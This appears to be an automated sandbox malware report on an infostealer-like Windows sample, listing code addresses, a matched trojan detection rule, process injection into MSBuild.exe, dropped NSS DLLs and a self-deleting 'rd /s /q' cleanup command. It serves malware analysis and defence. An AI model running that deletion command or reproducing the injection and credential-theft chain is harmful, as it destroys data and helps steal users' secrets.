Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C56EA00	1_2_6C56EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C578A30	1_2_6C578A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C53EA80	1_2_6C53EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5C6BE0	1_2_6C5C6BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C560BA0	1_2_6C560BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4D8460	1_2_6C4D8460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C54A430	1_2_6C54A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C524420	1_2_6C524420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5064D0	1_2_6C5064D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C55A4D0	1_2_6C55A4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5EA480	1_2_6C5EA480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C518540	1_2_6C518540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5C4540	1_2_6C5C4540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C560570	1_2_6C560570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C608550	1_2_6C608550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C522560	1_2_6C522560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C54E5F0	1_2_6C54E5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C58A5E0	1_2_6C58A5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4B45B0	1_2_6C4B45B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51C650	1_2_6C51C650
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BA1FE0	5_2_00BA1FE0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BDA080	5_2_00BDA080
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BD61E0	5_2_00BD61E0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00C041B0	5_2_00C041B0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00C023D0	5_2_00C023D0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BE84D0	5_2_00BE84D0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00C0A780	5_2_00C0A780
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BAC842	5_2_00BAC842
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00C10920	5_2_00C10920
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BF8BB0	5_2_00BF8BB0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BD6DF0	5_2_00BD6DF0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BCCEE0	5_2_00BCCEE0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BA6FEC	5_2_00BA6FEC
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BD1090	5_2_00BD1090
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BBD0ED	5_2_00BBD0ED
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BD30D0	5_2_00BD30D0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BFD1B0	5_2_00BFD1B0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BCD1D7	5_2_00BCD1D7
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BFD13A	5_2_00BFD13A
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BD112B	5_2_00BD112B
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BD7280	5_2_00BD7280
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BCD283	5_2_00BCD283
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BCD27A	5_2_00BCD27A
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BCF490	5_2_00BCF490
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BB547C	5_2_00BB547C
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BCD45D	5_2_00BCD45D
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BCD52F	5_2_00BCD52F
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00C077A0	5_2_00C077A0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BFD740	5_2_00BFD740
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BBB888	5_2_00BBB888
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00C13990	5_2_00C13990
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BB39E2	5_2_00BB39E2
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BD3AD0	5_2_00BD3AD0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BE9A4F	5_2_00BE9A4F
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BAFC40	5_2_00BAFC40
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BD7D90	5_2_00BD7D90
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BF9D8C	5_2_00BF9D8C
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BA1D65	5_2_00BA1D65
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BD5D48	5_2_00BD5D48
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00C13EA0	5_2_00C13EA0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00C15FB0	5_2_00C15FB0
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BDDF10	5_2_00BDDF10
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00C0FF20	5_2_00C0FF20

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C4E9B10 appears 31 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C4594D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C64DAE0 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004104E7 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C4E3620 appears 35 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C44CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C6409D0 appears 140 times
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: String function: 00BD8980 appears 93 times
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: String function: 00BA78D0 appears 49 times
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: String function: 00BE91E0 appears 152 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00AD78D0 appears 49 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1.2.MSBuild.exe.43f8e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.MSBuild.exe.43dcd8.2.raw.unpack, type: UNPACKEDPE	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: file.exe	Static PE information: Section: .data ZLIB complexity 0.9919446113782051
Source: KJEHJKJEBG.exe.1.dr	Static PE information: Section: .data ZLIB complexity 0.9911822552447552
Source: a43486128347[1].exe.1.dr	Static PE information: Section: .data ZLIB complexity 0.9911822552447552

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@12/28@17/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6C477030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6C477030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

1_2_004114A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear,

1_2_00411807

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\OYY9KSHR.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8152:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: C:\ProgramData\KJEHJKJEBG.exe	Command line argument: MZx	5_2_00BA1FE0
Source: C:\ProgramData\KJEHJKJEBG.exe	Command line argument: MZx	5_2_00BA1FE0
Source: C:\ProgramData\KJEHJKJEBG.exe	Command line argument: MZx	5_2_00BA1FE0

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763587529.000000001D858000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2787782401.000000006C64F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763587529.000000001D858000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2787782401.000000006C64F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763587529.000000001D858000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2787782401.000000006C64F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763587529.000000001D858000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2787782401.000000006C64F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763587529.000000001D858000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763587529.000000001D858000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763587529.000000001D858000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2787782401.000000006C64F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763587529.000000001D858000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2787782401.000000006C64F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763587529.000000001D858000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: JECAEH.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763587529.000000001D858000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763587529.000000001D858000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\KJEHJKJEBG.exe "C:\ProgramData\KJEHJKJEBG.exe"
Source: C:\ProgramData\KJEHJKJEBG.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIEBAFCBKFID" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\KJEHJKJEBG.exe "C:\ProgramData\KJEHJKJEBG.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIEBAFCBKFID" & exit	Jump to behavior
Source: C:\ProgramData\KJEHJKJEBG.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
